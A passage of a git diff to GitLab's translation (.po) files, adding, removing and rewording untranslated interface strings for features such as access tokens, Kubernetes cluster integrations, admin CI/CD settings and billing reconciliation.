msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38858,6 +38690,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38894,9 +38729,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -38957,7 +38789,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39481,6 +39322,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/is_IS/gitlab.po b/locale/is_IS/gitlab.po
index 5f38ce875f3..190630cc5a4 100644
--- a/locale/is_IS/gitlab.po
+++ b/locale/is_IS/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: is\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:20\n"
+"PO-Revision-Date: 2021-07-01 21:01\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
